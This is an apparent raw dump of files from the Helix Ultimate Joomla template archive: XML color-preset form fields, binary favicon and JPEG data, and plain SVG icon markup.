			label="Logo Text Color" 
			track="false" />

		<!-- Preset edit menu -->
		<field name="menu_text_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_menu" 
			type="color" 
			label="Menu Text Color" 
			track="false" />

		<field name="menu_text_hover_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_menu" 
			type="color" 
			label="Menu Text Hover Color" 
			track="false" />

		<field name="menu_text_active_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_menu" 
			type="color" 
			label="Menu Text Active Color" 
			track="false" />

		<field name="menu_dropdown_bg_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_menu" 
			type="color" 
			label="Menu Dropdown Background Color" 
			track="false" />

		<field name="menu_dropdown_text_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_menu" 
			type="color" 
			label="Menu Dropdown Text Color" 
			track="false" />

		<field name="menu_dropdown_text_hover_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_menu" 
			type="color" 
			label="Menu Dropdown Text Hover Color" 
			track="false" />

		<field name="menu_dropdown_text_active_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_menu" 
			type="color" 
			label="Menu Dropdown Text Active Color" 
			track="false" />

		<!-- Preset edit body -->
		<field name="text_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_body" 
			type="color" 
			label="Body Text Color" 
			track="false" />

		<field name="bg_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_body" 
			type="color" 
			label="Body Background Color" 
			track="false" />

		<field name="link_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_body" 
			type="color" 
			label="Body Link Color" 
			track="false" />

		<field name="link_hover_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_body" 
			type="color" 
			label="Body Link Hover Color" 
			track="false" />

		<!-- Preset edit footer -->
		<field name="footer_bg_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_footer" 
			type="color" 
			label="Footer Background Color" 
			track="false" />

		<field name="footer_text_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_footer" 
			type="color" 
			label="Footer Text Color" 
			track="false" />

		<field name="footer_link_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_footer" 
			type="color" 
			label="Footer Link Color" 
			track="false" />

		<field name="footer_link_hover_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_footer" 
			type="color" 
			label="Footer Link Hover Color" 
			track="false" />
	</fieldset>
</form>PK!"
����'helixultimate/assets/images/favicon.iconu&1i��PNG


IHDR�asRGB���	pHYs��$iTXtXML:com.adobe.xmp<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/">
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <tiff:Compression>5</tiff:Compression>
         <tiff:XResolution>72</tiff:XResolution>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:YResolution>72</tiff:YResolution>
         <exif:PixelXDimension>16</exif:PixelXDimension>
         <exif:ColorSpace>1</exif:ColorSpace>
         <exif:PixelYDimension>16</exif:PixelYDimension>
         <dc:subject>
            <rdf:Seq/>
         </dc:subject>
         <xmp:ModifyDate>2015:03:15 13:03:46</xmp:ModifyDate>
         <xmp:CreatorTool>Pixelmator 3.3.1</xmp:CreatorTool>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
>Iv]XIDAT8}�]h\E�ϙ�{wﺻI]m�XClK4�RE�w-E��(->�f|)y�~(Z�"ȢA�R�h�Z�B46M��-$ӆ6&-k41����c�xn��S��\����s��g;^��t}�Pc{���յ��
׽�uQ��{VJ�5"I"�:�����X���7���O))����:L;�j8�lQ�P ��%!��럒|2��qye��4��m�m<3�@�!��$�+c粒���J�ۤ-S�R��Hk�A8$��k���
)��[�O�/�ov,�6�˔�}�O0|�
��n�����N�ҀF�{Ӂ�{ǽLK�)��{�|�G�� ʭ�"W���?��X-����Y�W�~Rn�2�˰o.� x�*S߇�Kê:
�4`DF�oԝ.(Y�&pKq��ѵX�n���9�bbn��|��cc�N��ݛZĴ�&��ܖۑ�t�B���Trj]ޱ*�Sxqd�w?��	p�|���n�)3^E8Y��⑷g"rU`Wn�A�O�5���?�H�lpY[��Q8��+��]��r�q�oޱe��t����j	Z�G�O\}�����r���7�wَ�C����V6t�b70j�#Ū�!��_WH+��R����F&/������Ϗ��j.9W���xZA!�/�W>	`[�X;���GP���w6�V���R�{4w�e��WD�0�Α�h�������Lȣ��%J�Л��z����=i ZϰŠ��Q����^"���O:58՛�k��~h���l`M��ǽS�qV1DZ���m���hb��w�yu�K����o��;�������DS(IEND�B`�PK!.��N�
�
(helixultimate/assets/images/icon-res.svgnu&1i�<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1.27529 13.4267H5.07118V14.8768H3.72817C3.64578 14.8768 3.56676 14.9096 3.5085 14.968C3.45024 15.0265 3.41751 15.1057 3.41751 15.1884C3.41751 15.271 3.45024 15.3503 3.5085 15.4087C3.56676 15.4672 3.64578 15.5 3.72817 15.5H8.60628C8.62976 15.4981 8.65293 15.4934 8.67531 15.486C8.7209 15.4935 8.76691 15.4982 8.81306 15.5H12.2234C12.2619 15.4995 12.2999 15.4918 12.3355 15.4773C12.4093 15.4913 12.4842 15.4989 12.5593 15.5H14.6853C15.0338 15.4996 15.368 15.3605 15.6145 15.1133C15.861 14.8661 15.9996 14.5309 16 14.1812V10.1004C15.9993 9.83238 15.9171 9.57095 15.7644 9.35099C15.6118 9.13102 15.3959 8.96298 15.1456 8.86928V5.91345C15.1448 5.70036 15.0852 5.49164 14.9733 5.31051C14.8614 5.12937 14.7016 4.98291 14.5117 4.88742V2.02911C14.5113 1.68997 14.3769 1.36484 14.1378 1.12504C13.8987 0.885244 13.5746 0.750367 13.2365 0.75H1.27529C0.937193 0.750364 0.613048 0.88524 0.373967 1.12504C0.134886 1.36484 0.000394711 1.68997 0 2.02912V12.1474C0.000344042 12.4866 0.134811 12.8117 0.373896 13.0516C0.612981 13.2914 0.937156 13.4264 1.27529 13.4267V13.4267ZM5.6925 14.8768V13.4267H7.6618V14.3453C7.6631 14.5309 7.70955 14.7133 7.79711 14.8768L5.6925 14.8768ZM15.3787 10.1004V14.1812C15.3785 14.3656 15.3053 14.5424 15.1754 14.6728C15.0454 14.8032 14.8691 14.8765 14.6853 14.8768H12.5593C12.3755 14.8765 12.1993 14.8032 12.0693 14.6728C11.9393 14.5424 11.8662 14.3656 11.8659 14.1812V10.1004C11.8661 9.91596 11.9392 9.73912 12.0692 9.60867C12.1992 9.47823 12.3755 9.40484 12.5593 9.40461H14.6853C14.8692 9.40484 15.0454 9.47823 15.1754 9.60867C15.3054 9.73912 15.3785 9.91596 15.3787 10.1004V10.1004ZM14.5242 5.91345V8.78136H12.5593C12.2107 8.7818 11.8765 8.92093 11.6301 9.1682C11.3836 9.41548 11.245 9.75072 11.2446 10.1004V14.1812C11.2454 14.4276 11.3155 14.6687 11.4471 14.8768H8.81306C8.67257 14.8766 8.53787 14.8206 8.43852 14.721C8.33917 14.6213 8.28328 14.4862 8.28312 14.3453V5.91345C8.28327 5.7725 8.33915 5.63737 8.4385 5.53769C8.53785 5.43801 8.67255 5.38193 8.81306 5.38174H13.9943C14.1348 5.38193 14.2695 5.43801 14.3689 5.53769C14.4682 5.63737 14.5241 5.7725 14.5242 5.91345H14.5242ZM0.621325 2.02911C0.621567 1.85522 0.690548 1.68852 0.813141 1.56557C0.935734 1.44262 1.10193 1.37346 1.27529 1.37325H13.2365C13.4098 1.37346 13.576 1.44262 13.6986 1.56557C13.8212 1.68852 13.8902 1.85522 13.8904 2.02912V4.75849H8.81306C8.50782 4.75885 8.21518 4.88066 7.99935 5.09718C7.78352 5.3137 7.66212 5.60726 7.6618 5.91345V9.68677H0.621325V2.02911ZM0.621325 10.31H7.6618V12.8035H1.27529C1.10189 12.8033 0.935666 12.7341 0.813068 12.6111C0.690471 12.4881 0.621513 12.3213 0.621322 12.1474L0.621325 10.31Z" fill="black"/>
</svg>
PK!�}��6helixultimate/assets/images/mega-menu-color-select.jpgnu&1i����JFIF���		&""&0-0>>T		&""&0-0>>T��.�"��	�����K5T�֮��������UI=j�;u��WN�јO�Cb�>�����T���s��h��Q#+`�יN|��M�2���3M$(�k�[�#ٌ�4�B��=u�Uӆ��f�Pػ����p�6�κ����T�3	��l]��_U]8j�\�����4&Fu�	�GMM	�������/4Ts�!��5D���"1Q ��?�3ˣ�!�v�n�Ȋe1S9�J@��"��2��5u�=I5�2����s	�<��qrg�G`E.Tڷ!�7��@���y�/ϳ+o��㋑�X��~R��S����.���X�3pB qH����d'1�E��em�I�4�Y2*��L�F��ɞ]���I��"��P�)@�)E��em�&ytv9n܍�9L�*g0	H  ��_�fV�1F����&��Q3Z�a1G���.L����ʛV�;b&���Q��9E��em�@�qr"��|O�S��s�\����rg�G`T��D�UP�f���j�<"Z���U�q��-T'�!���c�����7'����4=�#W���W�����c�m�N���,_��p�8�F���/�ڮ�+�ڪo��t�L�m�I�[smbuUM�b�Π�����5\M�~N��_e��0ճ���s��JEcJ 3�_Y���T�3Q4T"�̈Q�a�ϔ\_e��1D�Fnu�)S,��ؾ��#�"�߀
�V�nׇ�Jr��r����(�&չ���A5��D$�q}g�GxE$����)�D�fG!D�R�(���-�a���n��e1S!Dp��b��0�����r��NtT)H�c	Ds��<�;����j&��UCY�
6�2���(�(�ι"�bc�����y�w�R�{��
�-��)N_�NQq}�[`��Ym�S���UBy������j���}W�ޮ!�H�P�X���j}�s�~����h�����\G�KW�\3�>���
Ɖ���<�H��xD�{U�>���W㋤Z�O,C��5>�9�?Uopn4O�U	�h{�F�#�%�ڮ�_z��� 1��?��N�LLLj������P��?��PK!��y	-helixultimate/assets/images/icons/advance.svgnu&1i�<svg height="18" width="18" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 18 18"><path fill="#000000" fill-rule="evenodd" d="M8.133 4.683l-.005.07c-.17.006-.339.023-.504.05a3.67 3.67 0 00.022-.235H5.288c-.132.483-.49.779-.939.779a.944.944 0 01-.273-.04L2.841 7.376a3.138 3.138 0 001.334.363c-.049.147-.09.297-.122.451l-.031-.003-.214.411a.185.185 0 01-.081.088c-.036.018-.08.024-.13.018-.097-.015-.152-.074-.163-.178l-.067-.45a4.067 4.067 0 01-.623-.233l-.332.304c-.07.067-.144.075-.242.028-.077-.044-.105-.119-.089-.222l.094-.446a4.24 4.24 0 01-.314-.245 2.991 2.991 0 01-.197-.186l-.41.174c-.089.043-.163.024-.237-.064-.07-.07-.074-.153-.016-.237l.238-.387a3.509 3.509 0 01-.327-.585l-.456.023c-.098.004-.164-.04-.195-.134-.03-.099-.008-.174.07-.229l.351-.289a3.654 3.654 0 01-.11-.66l-.428-.142c-.06-.02-.101-.05-.124-.095A.223.223 0 010 4.351c0-.103.047-.162.144-.198l.429-.138a3.791 3.791 0 01.11-.66L.33 3.066c-.081-.055-.105-.13-.07-.225.031-.095.097-.139.195-.134l.456.019c.094-.21.202-.399.327-.585L.998 1.75c-.051-.076-.047-.158.02-.23.073-.087.147-.106.237-.063l.409.17c.156-.158.331-.304.51-.43L2.082.753c-.01-.072-.001-.13.032-.173a.184.184 0 01.057-.05c.094-.046.172-.039.242.033l.332.292c.202-.095.413-.166.623-.225l.067-.45c.011-.104.066-.163.16-.179a.228.228 0 01.14.022.183.183 0 01.074.081l.214.411.02-.001.14-.01C4.238.503 4.295.5 4.352.5c.107 0 .212.008.32.016h.012l.21-.411c.044-.079.114-.115.215-.103.093.016.148.075.163.178l.063.45a4.475 4.475 0 01.624.226l.33-.296c.071-.072.149-.08.242-.028.082.044.11.118.09.222l-.09.442c.18.127.351.273.507.43l.413-.17c.086-.042.164-.023.238.065a.195.195 0 01.05.087c.01.047-.001.097-.035.146l-.241.387c.128.186.237.376.33.585l.453-.02c.097-.004.168.04.199.135a.216.216 0 010 .136.199.199 0 01-.07.09l-.355.288c.054.213.097.43.113.664l.429.134c.05.02.089.047.113.084a.2.2 0 01.03.114c0 .1-.05.158-.143.194l-.429.138zm-.487-.534H5.284a1.17 1.17 0 00-.242-.445.912.912 0 00-.978-.263L2.85 1.327A3.238 3.238 0 014.353.963c1.788 0 3.192 1.391 3.293 3.186zM2.47 7.154c-.86-.609-1.414-1.633-1.414-2.8 0-1.177.558-2.201 1.427-2.806l1.219 2.12a.964.964 0 00-.315.702c0 .265.113.503.327.709L2.47 7.154zM4.353 4.9a.535.535 0 01-.526-.534.527.527 0 11.868.407.525.525 0 01-.342.127z" clip-rule="evenodd"/><path fill="#000000" fill-rule="evenodd" d="M12.017 17.717c-.025.162-.105.255-.252.28-.165.018-.275-.038-.342-.168l-.331-.646c-.178.018-.35.03-.52.03a4.74 4.74 0 01-.521-.03l-.337.646c-.061.13-.171.186-.33.167-.153-.024-.24-.117-.258-.279l-.104-.708a6.459 6.459 0 01-.98-.367l-.52.479c-.11.105-.227.118-.38.043A.269.269 0 017 16.959a.468.468 0 01.002-.142l.147-.703a5.538 5.538 0 01-.802-.677l-.643.274c-.141.068-.257.037-.374-.1a.266.266 0 01-.088-.212.325.325 0 01.064-.16l.374-.61a5.595 5.595 0 01-.515-.92l-.716.038c-.153.006-.258-.062-.306-.211-.031-.098-.028-.18.009-.25a.318.318 0 01.1-.11l.552-.454a5.767 5.767 0 01-.172-1.037l-.673-.224c-.153-.05-.227-.143-.227-.304 0-.162.074-.255.227-.311l.673-.218a5.77 5.77 0 01.172-1.037l-.551-.453c-.13-.087-.166-.205-.11-.354.035-.108.099-.174.19-.2a.376.376 0 01.116-.012l.716.031a5.79 5.79 0 01.515-.92l-.38-.614c-.08-.118-.073-.249.03-.36.117-.137.233-.168.374-.1l.643.267c.245-.248.52-.478.802-.677l-.147-.696c-.024-.16.018-.28.141-.347.147-.075.27-.063.38.049l.52.46c.319-.15.65-.26.98-.354l.104-.709c.018-.161.105-.254.251-.279.166-.019.276.037.337.162l.337.646c.104-.007.204-.015.304-.02.071-.003.143-.005.216-.005.172 0 .344.012.52.025l.332-.646c.067-.125.177-.18.336-.162.147.025.233.118.258.28l.097.708c.337.093.668.21.98.354l.521-.466c.11-.112.233-.124.38-.043.082.043.129.108.145.19a.429.429 0 01-.005.157l-.14.696c.281.2.551.429.796.677l.649-.267c.135-.068.257-.037.373.1.076.081.1.174.074.266a.347.347 0 01-.05.1l-.379.609c.202.292.373.59.52.92l.711-.032a.347.347 0 01.148.023.284.284 0 01.164.189c.043.149.006.267-.11.354l-.557.453c.085.335.153.677.178 1.044l.673.21a.335.335 0 01.195.161.337.337 0 01.032.15c0 .156-.08.25-.227.305l-.673.217c-.025.361-.087.715-.178 1.044l.557.454c.116.093.16.211.11.36-.048.15-.159.217-.312.211l-.71-.037a5.628 5.628 0 01-.52.92l.379.608c.092.13.08.261-.025.373-.116.137-.238.168-.373.1l-.65-.274a5.493 5.493 0 01-.795.678l.14.702c.03.161-.012.279-.14.347-.147.075-.27.062-.38-.043l-.52-.479c-.313.15-.644.274-.98.36l-.098.715zm.018-6.877h3.71c-.158-2.82-2.363-5.007-5.174-5.007-.857 0-1.66.204-2.363.571l1.91 3.324c.184-.056.319-.075.447-.075.692 0 1.25.454 1.47 1.187zm-6.644.323c0 1.833.87 3.442 2.222 4.398L9.567 12.3c-.336-.323-.514-.696-.514-1.112 0-.41.17-.795.496-1.106l-1.917-3.33c-1.366.95-2.241 2.56-2.241 4.41zm4.354.019c0 .465.386.838.826.838a.839.839 0 00.832-.839.828.828 0 00-.832-.826.834.834 0 00-.826.827zm-1.55 4.727a5.058 5.058 0 002.376.578c2.805 0 5.01-2.187 5.175-4.988H12.04c-.208.758-.771 1.223-1.476 1.223-.122 0-.257-.012-.428-.062l-1.942 3.25z" clip-rule="evenodd"/></svg>PK!��y	3helixultimate/assets/images/icons/licenseupdate.svgnu&1i�<svg height="18" width="18" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 18 18"><path fill="#000000" fill-rule="evenodd" d="M8.133 4.683l-.005.07c-.17.006-.339.023-.504.05a3.67 3.67 0 00.022-.235H5.288c-.132.483-.49.779-.939.779a.944.944 0 01-.273-.04L2.841 7.376a3.138 3.138 0 001.334.363c-.049.147-.09.297-.122.451l-.031-.003-.214.411a.185.185 0 01-.081.088c-.036.018-.08.024-.13.018-.097-.015-.152-.074-.163-.178l-.067-.45a4.067 4.067 0 01-.623-.233l-.332.304c-.07.067-.144.075-.242.028-.077-.044-.105-.119-.089-.222l.094-.446a4.24 4.24 0 01-.314-.245 2.991 2.991 0 01-.197-.186l-.41.174c-.089.043-.163.024-.237-.064-.07-.07-.074-.153-.016-.237l.238-.387a3.509 3.509 0 01-.327-.585l-.456.023c-.098.004-.164-.04-.195-.134-.03-.099-.008-.174.07-.229l.351-.289a3.654 3.654 0 01-.11-.66l-.428-.142c-.06-.02-.101-.05-.124-.095A.223.223 0 010 4.351c0-.103.047-.162.144-.198l.429-.138a3.791 3.791 0 01.11-.66L.33 3.066c-.081-.055-.105-.13-.07-.225.031-.095.097-.139.195-.134l.456.019c.094-.21.202-.399.327-.585L.998 1.75c-.051-.076-.047-.158.02-.23.073-.087.147-.106.237-.063l.409.17c.156-.158.331-.304.51-.43L2.082.753c-.01-.072-.001-.13.032-.173a.184.184 0 01.057-.05c.094-.046.172-.039.242.033l.332.292c.202-.095.413-.166.623-.225l.067-.45c.011-.104.066-.163.16-.179a.228.228 0 01.14.022.183.183 0 01.074.081l.214.411.02-.001.14-.01C4.238.503 4.295.5 4.352.5c.107 0 .212.008.32.016h.012l.21-.411c.044-.079.114-.115.215-.103.093.016.148.075.163.178l.063.45a4.475 4.475 0 01.624.226l.33-.296c.071-.072.149-.08.242-.028.082.044.11.118.09.222l-.09.442c.18.127.351.273.507.43l.413-.17c.086-.042.164-.023.238.065a.195.195 0 01.05.087c.01.047-.001.097-.035.146l-.241.387c.128.186.237.376.33.585l.453-.02c.097-.004.168.04.199.135a.216.216 0 010 .136.199.199 0 01-.07.09l-.355.288c.054.213.097.43.113.664l.429.134c.05.02.089.047.113.084a.2.2 0 01.03.114c0 .1-.05.158-.143.194l-.429.138zm-.487-.534H5.284a1.17 1.17 0 00-.242-.445.912.912 0 00-.978-.263L2.85 1.327A3.238 3.238 0 014.353.963c1.788 0 3.192 1.391 3.293 3.186zM2.47 7.154c-.86-.609-1.414-1.633-1.414-2.8 0-1.177.558-2.201 1.427-2.806l1.219 2.12a.964.964 0 00-.315.702c0 .265.113.503.327.709L2.47 7.154zM4.353 4.9a.535.535 0 01-.526-.534.527.527 0 11.868.407.525.525 0 01-.342.127z" clip-rule="evenodd"/><path fill="#000000" fill-rule="evenodd" d="M12.017 17.717c-.025.162-.105.255-.252.28-.165.018-.275-.038-.342-.168l-.331-.646c-.178.018-.35.03-.52.03a4.74 4.74 0 01-.521-.03l-.337.646c-.061.13-.171.186-.33.167-.153-.024-.24-.117-.258-.279l-.104-.708a6.459 6.459 0 01-.98-.367l-.52.479c-.11.105-.227.118-.38.043A.269.269 0 017 16.959a.468.468 0 01.002-.142l.147-.703a5.538 5.538 0 01-.802-.677l-.643.274c-.141.068-.257.037-.374-.1a.266.266 0 01-.088-.212.325.325 0 01.064-.16l.374-.61a5.595 5.595 0 01-.515-.92l-.716.038c-.153.006-.258-.062-.306-.211-.031-.098-.028-.18.009-.25a.318.318 0 01.1-.11l.552-.454a5.767 5.767 0 01-.172-1.037l-.673-.224c-.153-.05-.227-.143-.227-.304 0-.162.074-.255.227-.311l.673-.218a5.77 5.77 0 01.172-1.037l-.551-.453c-.13-.087-.166-.205-.11-.354.035-.108.099-.174.19-.2a.376.376 0 01.116-.012l.716.031a5.79 5.79 0 01.515-.92l-.38-.614c-.08-.118-.073-.249.03-.36.117-.137.233-.168.374-.1l.643.267c.245-.248.52-.478.802-.677l-.147-.696c-.024-.16.018-.28.141-.347.147-.075.27-.063.38.049l.52.46c.319-.15.65-.26.98-.354l.104-.709c.018-.161.105-.254.251-.279.166-.019.276.037.337.162l.337.646c.104-.007.204-.015.304-.02.071-.003.143-.005.216-.005.172 0 .344.012.52.025l.332-.646c.067-.125.177-.18.336-.162.147.025.233.118.258.28l.097.708c.337.093.668.21.98.354l.521-.466c.11-.112.233-.124.38-.043.082.043.129.108.145.19a.429.429 0 01-.005.157l-.14.696c.281.2.551.429.796.677l.649-.267c.135-.068.257-.037.373.1.076.081.1.174.074.266a.347.347 0 01-.05.1l-.379.609c.202.292.373.59.52.92l.711-.032a.347.347 0 01.148.023.284.284 0 01.164.189c.043.149.006.267-.11.354l-.557.453c.085.335.153.677.178 1.044l.673.21a.335.335 0 01.195.161.337.337 0 01.032.15c0 .156-.08.25-.227.305l-.673.217c-.025.361-.087.715-.178 1.044l.557.454c.116.093.16.211.11.36-.048.15-.159.217-.312.211l-.71-.037a5.628 5.628 0 01-.52.92l.379.608c.092.13.08.261-.025.373-.116.137-.238.168-.373.1l-.65-.274a5.493 5.493 0 01-.795.678l.14.702c.03.161-.012.279-.14.347-.147.075-.27.062-.38-.043l-.52-.479c-.313.15-.644.274-.98.36l-.098.715zm.018-6.877h3.71c-.158-2.82-2.363-5.007-5.174-5.007-.857 0-1.66.204-2.363.571l1.91 3.324c.184-.056.319-.075.447-.075.692 0 1.25.454 1.47 1.187zm-6.644.323c0 1.833.87 3.442 2.222 4.398L9.567 12.3c-.336-.323-.514-.696-.514-1.112 0-.41.17-.795.496-1.106l-1.917-3.33c-1.366.95-2.241 2.56-2.241 4.41zm4.354.019c0 .465.386.838.826.838a.839.839 0 00.832-.839.828.828 0 00-.832-.826.834.834 0 00-.826.827zm-1.55 4.727a5.058 5.058 0 002.376.578c2.805 0 5.01-2.187 5.175-4.988H12.04c-.208.758-.771 1.223-1.476 1.223-.122 0-.257-.012-.428-.062l-1.942 3.25z" clip-rule="evenodd"/></svg>PK!��v�``*helixultimate/assets/images/icons/blog.svgnu&1i�<svg width="19" height="16" viewBox="0 0 19 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M17.9233 6.75707L18.4261 6.24754C18.6675 5.99947 18.6675 5.67096 18.4328 5.44301L18.2719 5.28211C18.0574 5.06757 17.7222 5.08768 17.4942 5.31563L16.9914 5.81175L17.9233 6.75707ZM10.22 13.7028L11.5877 13.0927L17.4272 7.2599L16.4886 6.32799L10.6558 12.1608L10.0121 13.4816C9.9585 13.5955 10.0926 13.7564 10.22 13.7028Z" fill="#000000"/>
<path d="M3.72412 4.24072H9.2832C9.53955 4.24072 9.72998 4.03564 9.72998 3.7793C9.72998 3.53027 9.53955 3.33984 9.2832 3.33984H3.72412C3.46045 3.33984 3.27002 3.53027 3.27002 3.7793C3.27002 4.03564 3.46045 4.24072 3.72412 4.24072ZM3.72412 6.79688H9.2832C9.53955 6.79688 9.72998 6.5918 9.72998 6.33545C9.72998 6.08643 9.53955 5.896 9.2832 5.896H3.72412C3.46045 5.896 3.27002 6.08643 3.27002 6.33545C3.27002 6.5918 3.46045 6.79688 3.72412 6.79688ZM3.72412 9.35303H6.35352C6.61719 9.35303 6.80762 9.15527 6.80762 8.90625C6.80762 8.6499 6.61719 8.45215 6.35352 8.45215H3.72412C3.46045 8.45215 3.27002 8.6499 3.27002 8.90625C3.27002 9.15527 3.46045 9.35303 3.72412 9.35303Z" fill="#000000"/>
<path d="M11.0488 15.7031H2.27051C0.754395 15.7031 0 14.9414 0 13.4106V2.2998C0 0.776367 0.761719 0 2.27051 0H11.0488C12.5649 0 13.3193 0.776367 13.3193 2.2998V7.63232L12.1597 8.75809L12.1401 2.32178C12.1401 1.58936 11.752 1.1792 10.9902 1.1792H2.3291C1.56738 1.1792 1.1792 1.59668 1.1792 2.32178V13.3887C1.1792 14.1211 1.56738 14.5239 2.32178 14.5239H10.9976C11.752 14.5239 12.1401 14.3887 12.1401 14.3887L13.3193 13.4269V13.4106C13.3193 14.9414 12.5649 15.7031 11.0488 15.7031Z" fill="#000000"/>
</svg>
PK!��*helixultimate/assets/images/icons/bars.svgnu&1i�<svg width="16" height="14" viewBox="0 0 16 14" fill="red" xmlns="http://www.w3.org/2000/svg">
    <path d="M16 13L16 1C16 0.447715 15.5523 -1.95702e-08 15 -4.37114e-08L13 -1.31134e-07C12.4477 -1.55275e-07 12 0.447715 12 1L12 13C12 13.5523 12.4477 14 13 14L15 14C15.5523 14 16 13.5523 16 13Z" fill="#A5B1C5"/>
    <path d="M10 13L10 1C10 0.447715 9.55228 -1.95702e-08 9 -4.37114e-08L7 -1.31134e-07C6.44772 -1.55275e-07 6 0.447715 6 1L6 13C6 13.5523 6.44772 14 7 14L9 14C9.55228 14 10 13.5523 10 13Z" fill="#A5B1C5"/>
    <path d="M4 13L4 1C4 0.447715 3.55228 -1.95702e-08 3 -4.37114e-08L1 -1.31134e-07C0.447716 -1.55275e-07 6.95685e-07 0.447715 6.71544e-07 1L1.47008e-07 13C1.22867e-07 13.5523 0.447715 14 1 14L3 14C3.55228 14 4 13.5523 4 13Z" fill="#A5B1C5"/>
</svg>
PK!�\��2helixultimate/assets/images/icons/image-medium.svgnu&1i�<svg xmlns="http://www.w3.org/2000/svg" width="40" height="29" fill="none"><path fill="#36F" fill-opacity=".1" d="M19.499 4a4 4 0 11-8 0 4 4 0 018 0z"/><path fill="#36F" fill-opacity=".15" d="M9.5 14L19 29H0l9.5-15z"/><path fill="#EFF4FB" d="M27.5 8L40 29H15L27.5 8z"/></svg>PK!�� EE3helixultimate/assets/images/icons/device-tablet.svgnu&1i�<svg width="15" height="18" viewBox="0 0 15 18" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12.8056 0C13.7316 0 14.4722 0.761229 14.4722 1.68889V16.0889C14.4722 17.0165 13.7316 17.7778 12.8056 17.7778H1.91667C0.990595 17.7778 0.25 17.0165 0.25 16.0889V1.68889C0.25 0.761229 0.990595 0 1.91667 0H12.8056ZM12.8056 0.888889H1.91667L1.81915 0.895113C1.43579 0.944406 1.13889 1.28052 1.13889 1.68889V16.0889L1.14495 16.1894C1.19297 16.5842 1.52036 16.8889 1.91667 16.8889H12.8056L12.9031 16.8827C13.2864 16.8334 13.5833 16.4973 13.5833 16.0889V1.68889L13.5773 1.58843C13.5292 1.19359 13.2019 0.888889 12.8056 0.888889ZM7.36111 14.2222C7.85178 14.2222 8.25 14.6196 8.25 15.1111C8.25 15.6027 7.85178 16 7.36111 16C6.87044 16 6.47222 15.6027 6.47222 15.1111C6.47222 14.6196 6.87044 14.2222 7.36111 14.2222ZM12.2497 12.4444C12.4909 12.4444 12.6944 12.6434 12.6944 12.8889L12.6873 12.9669C12.6496 13.1704 12.468 13.3333 12.2497 13.3333H2.47253C2.23133 13.3333 2.02778 13.1343 2.02778 12.8889L2.03494 12.8109C2.0726 12.6073 2.25419 12.4444 2.47253 12.4444H12.2497Z" fill="#000000"/>
</svg>
PK!	UX�5helixultimate/assets/images/icons/image-thumbnail.svgnu&1i�<svg xmlns="http://www.w3.org/2000/svg" width="36" height="26" fill="none"><path fill="#36F" fill-opacity=".1" d="M18 3.5a3.5 3.5 0 11-7 0 3.5 3.5 0 017 0z"/><path fill="#36F" fill-opacity=".15" d="M9 13l8.66 13H.34L9 13z"/><path fill="#EFF4FB" d="M25 7l11 19H14L25 7z"/></svg>PK!�1(ۣ
�
+helixultimate/assets/images/icons/basic.svgnu&1i�
<svg width="16" height="16" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 16 16"><path fill="#000000" d="M14.922 6.333h-1.195c-.182 0-.348-.106-.403-.259a5.551 5.551 0 00-.202-.486c-.066-.142-.026-.328.1-.453l.85-.852c.42-.42.42-1.103 0-1.523l-.833-.833a1.08 1.08 0 00-1.524 0l-.85.85c-.126.126-.313.168-.453.1a5.718 5.718 0 00-.488-.202c-.152-.054-.258-.22-.258-.402V1.077C9.666.483 9.183 0 8.59 0H7.41c-.594 0-1.077.483-1.077 1.077v1.196c0 .182-.106.347-.259.402-.166.06-.328.127-.486.202-.142.067-.328.026-.453-.1l-.852-.85a1.08 1.08 0 00-1.524 0l-.832.833c-.42.42-.42 1.103 0 1.523l.852.853c.124.124.165.31.098.452-.074.158-.142.32-.202.487-.054.152-.22.258-.402.258H1.077C.483 6.333 0 6.816 0 7.41V8.59c0 .594.483 1.077 1.077 1.077h1.196c.182 0 .348.106.402.259.06.166.128.328.202.486.067.142.026.328-.1.453l-.851.851a1.08 1.08 0 000 1.524l.833.834a1.08 1.08 0 001.524 0l.851-.852c.126-.125.312-.166.453-.099.158.075.32.142.487.203.152.054.258.22.258.402v1.196c0 .594.484 1.077 1.078 1.077h1.178c.594 0 1.078-.483 1.078-1.077v-1.196c0-.182.106-.347.258-.402.166-.06.329-.127.486-.202.142-.067.329-.026.454.1l.85.85a1.08 1.08 0 001.525 0l.833-.833a1.08 1.08 0 000-1.524l-.852-.852c-.125-.124-.166-.31-.1-.452a5.7 5.7 0 00.203-.487c.055-.152.22-.258.403-.258h1.195c.594 0 1.078-.483 1.078-1.077V7.41c0-.595-.483-1.078-1.077-1.078zm.41 2.256a.41.41 0 01-.41.41h-1.195c-.466 0-.88.281-1.03.7a4.66 4.66 0 01-.178.429c-.187.398-.094.883.231 1.208l.851.851c.16.16.161.422 0 .582l-.833.833c-.16.16-.42.16-.581 0l-.851-.851a1.076 1.076 0 00-1.21-.231c-.14.066-.282.125-.428.178-.418.15-.698.564-.698 1.03v1.195a.41.41 0 01-.411.41H7.41a.41.41 